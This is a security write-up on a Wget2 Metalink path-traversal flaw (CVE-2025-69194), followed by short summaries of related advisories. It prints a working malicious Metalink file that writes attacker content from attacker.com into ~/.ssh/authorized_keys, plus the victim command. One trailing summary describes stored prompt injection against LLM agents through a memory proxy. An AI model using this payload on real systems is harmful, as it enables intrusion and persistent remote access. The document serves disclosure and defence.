Feb 18, 2026·6 min read·54 visits
Wget2 trusts Metalink filenames blindly. An attacker can craft a `.metalink` file that tells Wget2 to save a download as `../../.ssh/authorized_keys`. When processed, this grants the attacker SSH access to your machine. Patch to 2.2.1 immediately.
A high-severity path traversal vulnerability in GNU Wget2 (versions <= 2.2.0) allows attackers to overwrite arbitrary files on the victim's system. By crafting a malicious Metalink file containing directory traversal sequences (e.g., `../../`), an attacker can bypass the intended download directory restrictions. If a user processes this file with the `--force-metalink` option, Wget2 blindly follows the instructions, potentially overwriting sensitive configuration files like `.ssh/authorized_keys` or `.bashrc`, leading to Remote Code Execution (RCE). The flaw resides in `libwget`'s failure to sanitize filename attributes within the Metalink XML parser.
We all love resilience. In the chaotic world of the internet, where connections drop and mirrors vanish, protocols like Metalink are a godsend. They allow a download client to fetch a single file from multiple sources (mirrors, P2P) and verify its integrity with checksums. It’s the "smart" way to download Linux ISOs and large datasets. But in the security world, "smart" features are often just complex attack surfaces waiting to be exploited.
Enter GNU Wget2, the modern successor to the legendary wget. It's faster, supports HTTP/2, and has a robust libwget library under the hood. However, in versions prior to 2.2.1, Wget2 made a classic, almost nostalgic mistake: it trusted the internet. specifically, it trusted the <file> tags inside a Metalink XML document a little too much.
This isn't just a bug; it's a logic flaw in how trust is delegated. The user trusts Wget2 to put files in the current directory. Wget2 trusts the Metalink file to say where the data goes. The Metalink file, however, is controlled by the attacker. When that chain of trust breaks, you end up with CVE-2025-69194, a vulnerability that turns a simple download command into a mechanism for rewriting your system configuration.
The vulnerability lies deep within the XML parsing logic of libwget, specifically in how it handles the name attribute of the <file> element in Metalink files. In a sane world, if a remote file says "save me as ../../etc/passwd," the download client should laugh and strip the directory traversal characters or reject the file entirely. That is Input Validation 101.
However, Wget2's Metalink parser (located in libwget/metalink.c) treated the filename attribute as a direct instruction rather than a suggestion. It took the string provided in the XML and passed it along to the file writing routines without sufficient sanitization. This is CWE-22 (Path Traversal) in its purest form.
The dangerous scenario triggers when the user forces Metalink processing using --force-metalink or when Wget2 automatically detects a Metalink response header. The parser extracts the filename, sees the ../ sequences, and instead of neutralizing them, it hands them to the filesystem API. The operating system, doing exactly what it's told, traverses up the directory tree and writes the malicious payload wherever the attacker specified.
Let's look at the logic failure. While we won't paste the entire source tree, the essence of the bug is in the handling of the metalink_file_t structure. In the vulnerable code, the parser extracts the name attribute from the XML node and assigns it to the internal file structure without checking for "dot-dot-slash" sequences.
The fix, applied in commit 485c6aa5ba38cb369c6eb8564ea97cddc854049e, introduces strict validation. The developers had to explicitly add a check to reject or sanitize filenames containing path traversal attempts. Here is a conceptual representation of the patch:
// Pseudo-code representation of the fix logic in libwget/metalink.c
static int parse_metalink_file(xml_node *node, metalink_file_t *file) {
char *name = get_xml_attribute(node, "name");
- // Vulnerable: blindly accepting the name
- file->name = wget_strdup(name);
+
+ // Fixed: Sanitize or Reject
+ if (wget_str_has_path_traversal(name)) {
+ log_error("Security: Malicious filename detected in Metalink: %s", name);
+ free(name);
+ return METALINK_PARSE_ERROR;
+ }
+
+ // Ideally, strip paths entirely and only keep the basename
+ file->name = wget_strdup(wget_basename(name));
}By ensuring that the filename is reduced to its basename (stripping directory components) or explicitly rejecting ../, the attack surface is closed. It’s a simple check, but its absence was catastrophic.
Exploiting this is trivially easy once you understand the Metalink format. An attacker doesn't need binary exploitation skills, heap feng shui, or ROP chains. They just need to write a text file. Here is how a real-world attack scenario plays out.
First, the attacker crafts a malicious pwn.metalink file. The goal is to overwrite the victim's SSH authorized keys to gain persistent access.
<?xml version="1.0" encoding="utf-8"?>
<metalink xmlns="urn:ietf:params:xml:ns:metalink">
<!-- The trap: traversing out of the download folder into SSH config -->
<file name="../../.ssh/authorized_keys">
<size>1024</size>
<url>http://attacker.com/ssh_pub_key.txt</url>
<!-- Fake hash to satisfy the parser -->
<hash type="sha-256">a5b... (hash of the key)</hash>
</file>
</metalink>Next, the attacker hosts this file and convinces the victim to download it. Maybe they disguise it as a "secure downloader" for a game patch or a driver update:
# Victim executes the following:
wget2 --force-metalink http://attacker.com/pwn.metalinkWhen Wget2 runs this command, it parses the XML, sees the target filename ../../.ssh/authorized_keys, fetches the content from http://attacker.com/ssh_pub_key.txt, and writes it to the victim's SSH directory. The next time the attacker ssh's into the box, they are logged in as the victim. Game over.
This vulnerability is rated High (CVSS 8.8) for a reason. Arbitrary File Write is often just one step away from Remote Code Execution. In Linux environments, everything is a file. If I can write to a file, I can change how the system behaves.
Scenario A: RCE via Configuration. Overwriting ~/.bashrc or ~/.bash_profile. The next time the user opens a terminal, the malicious code executes. This is the most common persistence method.
Scenario B: RCE via SSH. As demonstrated, overwriting .ssh/authorized_keys grants immediate remote shell access. If the victim is running Wget2 as root (god forbid, but it happens in automated cron scripts), the attacker could overwrite /etc/shadow or /etc/passwd to reset the root password.
Scenario C: Denial of Service. Overwriting critical system binaries or libraries with garbage data, rendering the system unbootable or applications unusable. For a server running automated download tasks, this could be a silent killer, laying dormant until the specific Metalink file is processed.
The remediation is straightforward: Update GNU Wget2 immediately. The patched version is 2.2.1. If you are on a rolling release distro like Arch or Tumbleweed, you likely already have it. If you are on a stable LTS distro, check your security trackers (Debian Tracker, Ubuntu USN) specifically for wget2 patches.
If you cannot update immediately, you must apply mitigations. The most effective workaround is operational: Do not use the --force-metalink flag on untrusted URLs. Furthermore, strictly validate any Metalink files before passing them to Wget2.
For developers and security teams, this serves as a reminder: Never assume a library handles path traversal for you. If your application accepts filenames from an external source (user input, API response, XML, JSON), you must explicitly sanitize that input to ensure it stays within the intended directory jail (chroot or logical bounds).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
GNU Wget2 GNU | <= 2.2.0 | 2.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (High) |
| Attack Vector | Network (AV:N) |
| Impact | High Integrity/Confidentiality Loss |
| Exploit Status | PoC Available |
| EPSS Score | 0.00055 (Low Probability) |
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.